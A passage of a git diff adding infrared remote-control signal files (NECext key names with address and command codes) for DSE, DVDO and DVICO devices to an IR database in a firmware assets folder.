KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: Angle/Rotate +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir new file mode 100644 index 000000000..3b172542a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Resume +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: >|| +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_3D(\*) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: View +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: RAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: R/L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir new file mode 100644 index 000000000..dff6377ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: UHF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Sys +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: TV/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2/ABC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3/DEF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4/GHI +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5/JKL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6/MNO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7/PQRS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8/TUV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9/WXYZ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir b/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir new file mode 100644 index 000000000..7a0a69153 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 2D 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir b/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir new file mode 100644 index 000000000..76f2b1290 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir @@ -0,0 +1,566 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_ADJUST +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 00 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 01 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 01 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 01 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 02 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 02 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 02 00 00 00 +# +name: SVID_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 04 00 00 00 +# +name: S-VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 04 00 00 00 +# +name: SVIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 04 00 00 00 +# +name: INPUT_S-VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 04 00 00 00 +# +name: LFT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 05 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 05 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 05 00 00 00 +# +name: PAN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 07 00 00 00 +# +name: CURTAIN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 08 00 00 00 +# +name: VIDE_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0A 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0A 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0B 00 00 00 +# +name: MENU_SELECT_/_ENTE +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0B 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0C 00 00 00 +# +name: OUTPUT_SETUP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0F 00 00 00 +# +name: SDI +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 10 00 00 00 +# +name: INPUT_SDI +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 11 00 00 00 +# +name: TEST_PATTERN_RIGHT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 11 00 00 00 +# +name: TEST_PATTERN_> +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 11 00 00 00 +# +name: CONFIG +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 12 00 00 00 +# +name: CONFIGURATION +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 12 00 00 00 +# +name: RT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 13 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 13 00 00 00 +# +name: COMP_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 14 00 00 00 +# +name: COMP_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 14 00 00 00 +# +name: COMPONENT_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 14 00 00 00 +# +name: INPUT_COMPONENT_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 14 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 15 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 17 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 19 00 00 00 +# +name: PICTURE_CONTROL +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1B 00 00 00 +# +name: TEST_PATTERN_LEFT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1B 00 00 00 +# +name: TEST_PATTERN_< +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 40 00 00 00 +# +name: TEST_PATTERNS +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 41 00 00 00 +# +name: TEST_PATTERN_ON/OFF +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 41 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 42 00 00 00 +# +name: POWER_(ON) +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 42 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 43 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 44 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 45 00 00 00 +# +name: LBX +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 46 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 47 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 48 00 00 00 +# +name: PASSTHRU +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 49 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4A 00 00 00 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4A 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4B 00 00 00 +# +name: AUTO_INPUT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4B 00 00 00 +# +name: INPUT_AUTO +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4B 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4C 00 00 00 +# +name: SVID_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4E 00 00 00 +# +name: S-VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4E 00 00 00 +# +name: SVIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4E 00 00 00 +# +name: INPUT_S-VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4E 00 00 00 +# +name: COMP_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4F 00 00 00 +# +name: COMPONENT_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4F 00 00 00 +# +name: INPUT_COMPONENT_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4F 00 00 00 +# +name: DISPLAY_PROFILES +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 50 00 00 00 +# +name: DISPLAY_PROPERTIES +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 50 00 00 00 +# +name: VIEWING_MODES +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 51 00 00 00 +# +name: INPUT_ASPECT_RATIO +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 52 00 00 00 +# +name: TEST_PATTERN_ON/OFF +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 52 00 00 00 +# +name: BORDER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 53 00 00 00 +# +name: CROP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 54 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 55 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 56 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 56 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 57 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 57 00 00 00 +# +name: HDMI_3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 58 00 00 00 +# +name: INPUT_HDMI_3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 58 00 00 00 +# +name: HDMI_4 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 59 00 00 00 +# +name: INPUT_HDMI_4 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 59 00 00 00 +# +name: RGBHV +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 5A 00 00 00 +# +name: INPUT_RGBHV +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 5A 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir b/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir new file mode 100644 index 000000000..7a0a69153 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 2D 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir b/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir new file mode 100644 index 000000000..578dd5e07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: REM:_INPUT_ADJUST +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 00 00 00 00 +# +name: NAV:_UP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 01 00 00 00 +# +name: NAV:_DOWN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 02 00 00 00 +# +name: INPUT:_S-VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 04 00 00 00 +# +name: NAV:_LEFT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 05 00 00 00 +# +name: REM:_PAN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 07 00 00 00 +# +name: REM:_CURTAIN +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 08 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0A 00 00 00 +# +name: NAV:_ENTER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0B 00 00 00 +# +name: REM:_ZOOM +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0C 00 00 00 +# +name: REM:_OUTPUT_SETUP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 0E 00 00 00 +# +name: INPUT:_SDI +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 10 00 00 00 +# +name: TEST:_NEXT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 11 00 00 00 +# +name: REM:_CONFIGURATION +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 12 00 00 00 +# +name: NAV:_RIGHT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 13 00 00 00 +# +name: INPUT:_COMPONENT_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 14 00 00 00 +# +name: REM:_PIC_CONTROL +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1A 00 00 00 +# +name: TEST:_PREVIOUS +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 1B 00 00 00 +# +name: REM:_INFORMATION +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 40 00 00 00 +# +name: NAV:_MENU +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 43 00 00 00 +# +name: NAV:_EXIT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 44 00 00 00 +# +name: REM:_4:3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 45 00 00 00 +# +name: REM:_16:9 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 47 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4A 00 00 00 +# +name: INPUT:_AUTO +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4B 00 00 00 +# +name: INPUT:_S-VIDEO_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4E 00 00 00 +# +name: INPUT:_COMPONENT_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 4F 00 00 00 +# +name: REM:_DISP_PROFILES +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 50 00 00 00 +# +name: REM:_VIEW_MODES +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 51 00 00 00 +# +name: REM:_INPUT_AR +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 52 00 00 00 +# +name: TEST:_ON/OFF +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 52 00 00 00 +# +name: REM:_BORDER +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 53 00 00 00 +# +name: REM:_CROP +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 54 00 00 00 +# +name: REM:_ASPECT +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 55 00 00 00 +# +name: INPUT:_HDMI_1 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 56 00 00 00 +# +name: INPUT:_HDMI_2 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 57 00 00 00 +# +name: INPUT:_HDMI_3 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 58 00 00 00 +# +name: INPUT:_HDMI_4 +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 59 00 00 00 +# +name: INPUT:_RGBHV +type: parsed +protocol: NECext +address: 84 20 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir new file mode 100644 index 000000000..8f6662ddd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: dtv +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MP3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: ratio +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: profile +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext 